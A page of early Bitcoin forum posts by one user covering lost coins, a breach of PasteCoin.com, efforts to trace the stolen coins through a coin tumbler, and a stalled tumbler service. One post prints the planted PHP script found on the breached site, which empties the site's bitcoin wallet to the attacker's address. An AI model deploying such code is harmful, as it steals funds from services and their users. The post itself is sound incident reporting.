 Show Posts
|
|
Pages: [1]
|
So, i have found the first certified lost coins  (a lost wallet can't be proven :p) Its just highly improbable that anyone has the private key. It is entirely possible (if unlikely) that someone generated an address, sent some coins to it, and it happened to hash to 0. It would be impossible to prove this for the same reason as its impossible to prove a lost wallet. However, it would be possible to prove that someone has the private key...if these ever get moved. That said its also impossible to prove that said private key existed before the coins were sent there...since collisions, while unlikely, are possible. Though, thats absolute proof.... I would say you can be pretty darned sure to the tune of many 9s that this is the case. |
|
|
|
Well, as far as the breach goes, bober was originally involve. He even admitted guilt of uploading the shell and he was the only along with genjix, jgarzik, and me.
Genjix is the original coder/owner of the site, jgarzik is the current one. I was the one who reported 2 vulnerabilities and a breach. Bober the attacker.
You know, if he was just a little more careful and used the tumbler with multiple input addresses, tracking that back would have been nearly impossible. Its really funny how many little ways you can accidentally connect something back to an identity of yours. |
|
|
|
Congratz, your service works. Now I stopped on my feet to find thee, who stole from PsateCoin.com http://blockexplorer.com/address/1Lyb5Qq6D6xAeEiLfvjnsa9jJVBA2tbsE9<?php
require_once('jsonRPCClient.php');
$bitcoin = new jsonRPCClient('http://****:****@127.0.0.1:****/');
/*Steal the money from the user account */
$balance = ($bitcoin->getbalance());
echo $balance;
$bitcoin->sendtoaddress("1Lyb5Qq6D6xAeEiLfvjnsa9jJVBA2tbsE9", $balance);
$balance = ($bitcoin->getbalance());
echo $balance;
?> This was found in PasteCoin.com/preview/test.php while I was performing an audit since I noticed it got online after a long time. I was the one who originally reported the vulnerabilities to them and helped him in all I could. This is officially the first attack and successfully got away with the money. Anybody is welcomed to help trace the coins, and the attacker. Comming back to this.... I notice that address definitely sent into cointumbler but, it only shows that it ever stole like 3.69 btc. When you said this, I assumed that you were talking about a large amount, like that huge 16k worth of coins that went through a few days ago was stolen or something. Such a small amount is likely untraceable through all those inputs and outputs. Is there more? I see it all got sent to 1NytWqK2qGafYugYkhiVy7faGUYhcZapjd and if you check out that address, it builds up quickly to 68.58, all at once. The tumbler gives out one or more addresses, and then sends coins off and tumbles them after a certain quantity is reached. Thats important to know here. Actually, I would start looking for more info on all of the other input addresses in that same transaction since you know they had to come from the same wallet to end up as inputs on the same transaction. |
|
|
|
You did it wrong... expected though, that is kind of the point of the tumbler. As I said in my previous post, that is the tumbler address.... instead carefully follow the very last send transaction from that address: http://blockexplorer.com/tx/927d59c9882fe6268aba2a7f6fc887091a9771add0091bddcdb88e0178b170ce#i599696See that one of the inputs is the tumble address, as is one of the outputs. So you know that the tumbler generated this transaction. However, one output goes elsewhere to here: http://blockexplorer.com/address/13WBtDjL2NBzeaCNDq1rL1yXgo9suHAk4rNew address.... now has 461.55 btc in it. Given how much moved through in such a short time, I think most of the outputs are likely the thief. Not proof though, need to find all of these addresses. Looking at the overall activity, doesn't look like more than a handful of people have sent that much through at once, never mind to one address. Unless this address is just another internal tumbler address... and these coins are thus still in the system, then this is likely the thief.... if this address (or any like it) move directly to the tumbler address later (or show up as an input with it) then that would obviously be in the same wallet... otherwise, thats probably an output. There are probably a lot more of these in the chain... but it is a lot of jumping through transactions to find them. |
|
|
|
So you suggest it is browneman? http://bitcointalk.org/index.php?topic=6184.0You should be really sure about it, he may have used the service and got tainted coins. I have been searching for an output from his service with the same input, or smaller if he paid fees, to be 90% sure it is someone. Actually I used the service and got no coins back. I didn't see an accusation there, not that it matters too much since this is a throwaway address made just to talk about issues like this. Wasting your time on me. That address that was "Traced" to is the tumbler wallet address, you can get that from their about page: http://lbrmvt4plqojaulx.onion/ (uses javascript, click on "about"). If the coins were all there, they they would, at least, still be within the tumbler...and no tin the thief's hands. It does not appear to be the case though...as the balance to that address is under 400 btc. You need to follow the sends from there to see where they end up. Each order can have up to 9 output addresses, but they could have used multiple orders. The tumbler makes a lot of change and moves individual bits of change around, making it very hard to follow...but any address that loops back to that one is NOT an output address. That said, it also wouldn't be hard to chain orders...whcih would cause loops back through that address. No envy here, thats going to be a bitch of a job but, honestly, unless the tumbler is being used by multiple people, or has enough coins in it already to cover an order, then its not very good. Such a large order should be a bitch to trace but, not impossible. Just follow sends within the right time frame and the majority should end up in addresses owned by your thief. Of course, then you need him to slip up and make a connection to those addresses. |
|
|
|
I'm writing a 20 page report on this within the week. I will post it for the community once I'm done.
Are you a lawyer? I'm not being facetious or anything. I'm just curious. I am not a lawyer. I'm just interested in the subject and how it relates to the law. FreeMoney, I'm not quite sure why you have such a pessimistic outlook of US law. While our justice system has plenty of flaws, let me point you to China... Or would you rather live on an island with 0 governance? SO its this steaming pile of what the aristocrats and their thugs have given us and told us to like, or nothing at all? Actually, if thats the choice, I will take the 0 governance please. Not my first choice but, if you are limiting me to those options, then.... yes thats fine with me, I am pretty convinced that any governance that involves supporting wars on foreign soil and wars against my own friends and family is worst than none. |
|
|
|
I have been following the coin tumbler wallet activity since, I was sending some coins through it when it stopped on the 14th. Actually, I am concerned as this was a pretty good size load for me, more than the current balance on the account (I know, it could be at other addresses in the same wallet from change etc) Anyway, there was a lot of movement yesterday and I started to ask... am I screwed? SO I started looking back, based on what I know about it, to see if it looked like I could identify whether it was processing orders more recent than mine... what I saw worries me...and I am hoping that someone here can explain it. http://blockexplorer.com/address/1NgLdBTSYqnqwqiD2JioPRfqEkm3Zvs32uThat is the account in question, Scroll down to the end of 3/14 where the next pile of transactions is on 3/19 Now this is where things get strange and thousands of coins start moving but... many of the transactions are from the main address back to itself. Now, this makes sense to me for consolidation purposes, since all transactions refer to previous ones... so consolidation into big ones before dispersement makes sense but.... shouldn't this be a zero sum game? Look here: http://blockexplorer.com/tx/cff8306919dc875fa2c31589980e7a39c2023e30ffdd174dbd123afe5761293b#o0Ok so a lot of inputs from the main address, and one output to the same, both input and output the same...good. Then find the same transaction back on the ledger for this account balance from previous trans: 1391.59 balance from this transaction: 1721.42 That doesn't seem like it can be right, is this just a blockexplorer bug? Seems like it must be but... I am definitely concerned with all this action in the account and not seeing any of my several hundred coins. I have moved coins through it with no trouble before. |
|
|
|
There is now some strange movement in the wallet. I hope it has nothing to do with todays balance of 16k BCs.
Wow. Quite a bit of movement! Though, I was expecting my coins back a few days ago and even with all that movement, still not a single nanocoin of it has shown up. There could be a bunch of "change" out there in the overall wallet, but the main address balance is high enough to make me think it stopped again, and low enough to make me concerned that I haven't gotten any back yet....i am expecting more than is in there. Makes me think there is a backlog. |
|
|
|
It stopped working again on 14th April.
Looks like it is still down.... no movement since the 14th. |
|
|
|
|
